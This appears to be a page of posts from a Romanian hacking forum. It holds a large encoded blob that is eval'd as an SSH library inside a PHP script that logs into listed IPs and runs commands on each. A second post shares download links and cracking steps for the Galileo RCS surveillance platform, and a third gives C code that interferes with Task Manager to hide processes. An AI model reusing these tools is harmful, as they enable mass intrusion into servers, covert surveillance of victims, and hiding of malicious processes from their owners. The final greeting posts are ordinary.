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"; //end base64/gz blobs // Read File Into Array, use buffer to read in function read_file($filename = ''){ $buffer = array(); $source_file = fopen( $filename, "r" ) or die("Couldn't open $filename"); while (!feof($source_file)) { $buffer[] = explode("\n", fread($source_file, 4096)); // use a buffer of 4KB, split on newlines } return $buffer[0]; } if((file_exists($ip_file)) && (filesize($ip_file) > 0)) { eval(gzinflate(base64_decode($biggaysshlib))); // Decode our SSH Lib for use $ips = read_file($ip_file); // Pull in IP's from file, generate array foreach($ips as $ip) { // iterate targets and execute commands on successfull login if(trim($ip) != "") { echo "[*] Testing $ip....\n"; $ssh = new Net_SSH2($ip); if(!$ssh->login($ssh_user, $ssh_pass)) { echo "[x] $ip => Failed\n"; } else { echo "[*] $ip => Success\n"; echo $ssh->exec($cmd_to_run); } } } } ?>
  18. lic/dongle patch and license https://mega.nz/#!j4pgiTyK!VpH_UiyNlTOa831WoZEJhg4L73tWpWA4sSZuF0cb65M RCS setup complete files https://mega.nz/#!KhhDFC5L!rs77VB_Hjj9zg0i3unlAqjM5zUdD7mA1PtZb8XexIQM Instructions: 1. Install VMs -- RCS MASTER ( Windows 7 x64 | 5 GB RAM ) -- RCS Collector ( Windows 7 x64 | 2 GB RAM) -- Anonymizer ( CentOS 7 x64 | 2 GB RAM) 2. Configuration - Port forwarding -- RCS MASTER -- 442 / 443 / 444 -- RCS collector -- 80 3. Configuration - RCS MASTER Installation a. Set time 01 April 2015 (Disable internet time sync + vmx) https://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1189 b. set hostname/computername -- "rcsmaster" c. Update hosts file -- C:\windows\system32\drivers\etc\hosts -- xxx.xxx.xxx.xx rcscollector (IP of collector node) .., restart Windows Run RCS setup -- Install Master node - CN -- rcsmaster -- THIS IS IMPORTANT STEP CERTIFICATES WILL BE UNDER THIS HOSTNAME - LIC -- FULL_VER.lic - Password -- GalileoRCS1 c. Wait untill all files are extracted...When it says "removing old master node files..." d. Go to C:\RCS\DB\bin -- replace/overwrite rcs-license-check e. Wait for "Verify license.." f. Goto C:\RCS\DB\lib\rcs-db-release\ -- replace/overwrite dongle.rb g. Go to C:\RCS\DB\Console -- Install Adobe AIR then install console application h. Open console >> Username -- admin >> Password -- GalileoRCS1 >> server -- rcsmaster i. Wait for certificate import dialog...follow screenshots: 1. http://prntscr.com/8xbdnn 2. http://prntscr.com/8xbdqv 3. http://prntscr.com/8xbduf 4. http://prntscr.com/8xbdy9 5. http://prntscr.com/8xbe2y j. You will see RCS Dashboard. k. Don't do anything, next install RCS collector 4. Configuration -- RCS collector a. Set time 01 April 2015 (Disable internet time sync + vmx) https://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1189 b. set hostname/computername -- "rcscollector" c. Update hosts file -- C:\windows\system32\drivers\etc\hosts -- xxx.xxx.xxx.xx rcsmaster (IP of master node) .. restart windows Run RCS setup -- Install Collector node -- Master node CN -- "rcsmaster" -- local hostname -- "rcscollector" -- Password -- GalileoRCS1 -- Verify connection to Master DB >> Finish 5. Configuration -- Anonymizer -- First goto Master node Dashboard -- System >> check collector connection (should be green) -- Create new anonymizer "anon1" | IP address: xxx.xxx.xxx.xx -- Drag anon1 over Collector -- Build Proxy installer script 6. Configuration Proxy (anon1) - CentOS -- become root -- Disable firewall >> systemctl disable firewalld >> systemctl stop firewalld -- chmod u+x install -- sh install -- Wait for install complete...! 7. Goto Master node Dashboard -- System >> Apply configuration
  19. This works on windows 7 / windows server 2012 BOOL CALLBACK EnumChildProc( _In_ HWND hwnd, _In_ LPARAM lParam ) { WCHAR win_name[MAX_PATH]; RtlSecureZeroMemory(win_name, MAX_PATH); GetWindowTextW(hwnd, win_name, MAX_PATH); if (!lstrcmpW(L"&Show processes from all users", win_name)) { SetWindowLongPtrW(hwnd, GWL_STYLE, WS_OVERLAPPED | WS_TABSTOP | WS_MAXIMIZEBOX | WS_CHILD | BS_PUSHBUTTON | BS_TEXT); return FALSE; } return TRUE; } DWORD hinder_taskman() { HWND window = NULL; DWORD last_pid = NULL; DWORD pid = NULL; do { window = FindWindowW(0, L"Windows Task Manager"); if (window) { GetWindowThreadProcessId(window, &pid); if (pid != last_pid) { last_pid = pid; ShowWindow(window, SW_HIDE); EnumChildWindows(window, EnumChildProc, 0); UpdateWindow(window); ShowWindow(window, SW_SHOW); } } Sleep(50); } while (1); ExitThread(0); return TRUE; }
  20. Salut! Conferinta se adreseaza doar celor avansati sau cu o baza solida in domeniu? @Andrei
  21. Bine ai venit, sedere placuta!
  22. Salut! Am aflat despre acest forum de la un amic si am zis sa intru si eu sa vad despre ce e vorba. Desi sunt pasionat de IT si citesc mereu articole de specialitate, rasfoind rubricile mi-am dat seama cat de putine stiu si cate chestii ma depasesc. Vreau sa invat si mi-ar placea sa ma indrept spre pentesting. Sper sa ne intelegem bine si sa invatam impreuna! Numai bine!
×
×
  • Create New...